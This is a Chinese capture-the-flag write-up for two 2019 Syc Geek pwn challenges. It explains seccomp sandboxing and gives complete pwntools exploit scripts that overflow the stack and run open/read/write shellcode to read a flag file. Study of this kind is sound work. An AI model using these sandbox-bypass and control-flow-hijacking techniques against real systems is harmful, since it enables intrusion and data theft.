写在前面
以2019-Syc-Geek-10th-PWN-Baby-Shellcode和2019-Syc-Geek-10th-PWN-Not-bad为例
2019-Syc-Geek-10th-PWN-Baby-Shellcode
程序分析
Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
可以发现主程序肥肠简单~
程序提供了一个Chunk和一个栈区的读入点,比较令人在意的就是开启了沙箱防护,我们跟进Sand_box
函数。
这里发现程序启用了seccomp_rule_add
函数
关于seccomp_rule_add函数
函数原型
#include <seccomp.h>
typedef void * scmp_filter_ctx;
int SCMP_SYS(syscall_name);
struct scmp_arg_cmp SCMP_CMP(unsigned int arg,
enum scmp_compare op, ...);
struct scmp_arg_cmp SCMP_A0(enum scmp_compare op, ...);
struct scmp_arg_cmp SCMP_A1(enum scmp_compare op, ...);
struct scmp_arg_cmp SCMP_A2(enum scmp_compare op, ...);
struct scmp_arg_cmp SCMP_A3(enum scmp_compare op, ...);
struct scmp_arg_cmp SCMP_A4(enum scmp_compare op, ...);
struct scmp_arg_cmp SCMP_A5(enum scmp_compare op, ...);
struct scmp_arg_cmp SCMP_CMP64(unsigned int arg,
enum scmp_compare op, ...);
struct scmp_arg_cmp SCMP_A0_64(enum scmp_compare op, ...);
struct scmp_arg_cmp SCMP_A1_64(enum scmp_compare op, ...);
struct scmp_arg_cmp SCMP_A2_64(enum scmp_compare op, ...);
struct scmp_arg_cmp SCMP_A3_64(enum scmp_compare op, ...);
struct scmp_arg_cmp SCMP_A4_64(enum scmp_compare op, ...);
struct scmp_arg_cmp SCMP_A5_64(enum scmp_compare op, ...);
struct scmp_arg_cmp SCMP_CMP32(unsigned int arg,
enum scmp_compare op, ...);
struct scmp_arg_cmp SCMP_A0_32(enum scmp_compare op, ...);
struct scmp_arg_cmp SCMP_A1_32(enum scmp_compare op, ...);
struct scmp_arg_cmp SCMP_A2_32(enum scmp_compare op, ...);
struct scmp_arg_cmp SCMP_A3_32(enum scmp_compare op, ...);
struct scmp_arg_cmp SCMP_A4_32(enum scmp_compare op, ...);
struct scmp_arg_cmp SCMP_A5_32(enum scmp_compare op, ...);
int seccomp_rule_add(scmp_filter_ctx ctx, uint32_t action,
int syscall,unsigned int arg_cnt, ...);
int seccomp_rule_add_exact(scmp_filter_ctx ctx, uint32_t action,
int syscall, unsigned int arg_cnt, ...);
int seccomp_rule_add_array(scmp_filter_ctx ctx,uint32_t action,
int syscall,unsigned int arg_cnt,
const struct scmp_arg_cmp *arg_array);
int seccomp_rule_add_exact_array(scmp_filter_ctx ctx,uint32_t action,
int syscall,unsigned int arg_cnt,
const struct scmp_arg_cmp *arg_array);
Link with -lseccomp.
函数描述
英文原文 seccomp (secure computing mode) 是Linux内核中的计算机安全工具。seccomp允许进程单向转换到“安全”状态,在该状态下,进程无法对已打开的文件描述符进行exit(),sigreturn(),read()和write()以外的任何系统调用。如果尝试任何其他系统调用,内核将使用SIGKILL或SIGSYS终止该进程。从这个意义上讲,它不会虚拟化系统资源,而是将进程与它们完全隔离。
seccomp_rule_add(),seccomp_rule_add_array(),seccomp_rule_add_exact()和seccomp_rule_add_exact_array()
都向当前的seccomp过滤器添加新的过滤器规则,其中,seccomp_rule_add()
和seccomp_rule_add_array()
将尽最大努力添加指定的规则,但可能会因系统架构的具体情况而略微更改规则(例如,内部重写多路系统调用和x86上的套接字及ipc函数)。seccomp_rule_add_exact()
和seccomp_rule_add_exact_array()
函数将尝试完全按照指定的规则添加规则,因此在不同系统架构上的行为可能有所不同。 尽管它不能保证确切的过滤器规则集,但是seccomp_rule_add()
和seccomp_rule_add_array()
确实可以保证相同的行为,而不管其体系结构如何。
分析本程序中的seccomp过滤器
首先我们使用david942j大佬开发的工具seccomp-tools来检测沙箱内允许的函数。
本程序仅限运行在X64下,且仅允许write,read,open,exit。
那么本题的利用思路就是直接读取本地的flag文件
构建ShellCode
shellcode = ""
shellcode += shellcraft.amd64.pushstr('./flag').rstrip()
shellcode += shellcraft.amd64.linux.syscall('SYS_open',"rsp", 0).rstrip()
shellcode += shellcraft.amd64.linux.syscall('SYS_read',"rax", 0x123500,40).rstrip()
shellcode += shellcraft.amd64.linux.syscall('SYS_write',1, 0x123500,40).rstrip()
最终EXP
from pwn import *
import sys
# context.log_level='debug'
context.arch='amd64'
if args['REMOTE']:
sh = remote(sys.argv[1], sys.argv[2])
else:
sh = process("./RushB")
buf_addr=0x123000
shellcode = ""
shellcode += shellcraft.amd64.pushstr('./flag').rstrip()
shellcode += shellcraft.amd64.linux.syscall('SYS_open',"rsp", 0).rstrip()
shellcode += shellcraft.amd64.linux.syscall('SYS_read',"rax", 0x123500,40).rstrip()
shellcode += shellcraft.amd64.linux.syscall('SYS_write',1, 0x123500,40).rstrip()
sh.recvuntil("A simple shellcode for U, have fun!")
sh.sendline(asm(shellcode))
sh.recvuntil("Why not play CSGO?")
sh.sendline('A'*0x38+p64(buf_addr))
print(sh.recv())
print(sh.recv())
2019-Syc-Geek-10th-PWN-Not-bad
程序分析
Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments
主逻辑同样很简单
发现开启了沙盒,使用seccomp-tools
探测
发现和上一题的情况十分类似。
但是进一步分析发现程序限制了Shellcode的长度
构造我们需要第一次发送的payload,我们的核心目标是向栈中输入完整的Shellcode。
构造以下汇编码。
mov rax,rsp
add rax,0x18
SYSCALL read(0,rax,0x60)
这里注意,第一次jmp rsp
时,栈空间已被释放,因此需要手动sub rsp,0x30
以重新生成栈空间
写为Payload形式即为
payload = ""
payload += asm("mov rax,rsp;add rax,0x18",arch="amd64",os="linux")
payload += asm(shellcraft.amd64.linux.syscall('SYS_read',0,"rax",0x60).rstrip())
payload = payload.ljust(0x20,'\x90') # padding
payload += p64(0xdeadbeef) # fake_ebp
payload += p64(jmp_rsp)
payload += asm("sub rsp,0x30;jmp rsp",arch="amd64",os="linux").ljust(8,'\x90')
最终EXP
from pwn import *
import sys
context.log_level='debug'
context.arch='amd64'
if args['REMOTE']:
sh = remote(sys.argv[1], sys.argv[2])
else:
sh = process("./bad")
shellcode = ""
shellcode += shellcraft.amd64.pushstr('./flag').rstrip()
shellcode += shellcraft.amd64.linux.syscall('SYS_open',"rsp", 0).rstrip()
shellcode += shellcraft.amd64.linux.syscall('SYS_read',"rax", 0x123500,40).rstrip()
shellcode += shellcraft.amd64.linux.syscall('SYS_write',1, 0x123500,40).rstrip()
shellcode = asm(shellcode)
jmp_rsp = 0x0000000000400a01
payload = ""
payload += asm("mov rax,rsp;add rax,0x18",arch="amd64",os="linux")
payload += asm(shellcraft.amd64.linux.syscall('SYS_read',0,"rax",0x60).rstrip())
payload = payload.ljust(0x20,'\x90') # padding
payload += p64(0xdeadbeef) # fake_ebp
payload += p64(jmp_rsp)
payload += asm("sub rsp,0x30;jmp rsp",arch="amd64",os="linux").ljust(8,'\x90')
sh.recvuntil("Easy shellcode, have fun!")
sh.send(payload)
sh.send(shellcode)
print(sh.recv())
print(sh.recv())
print(sh.recv())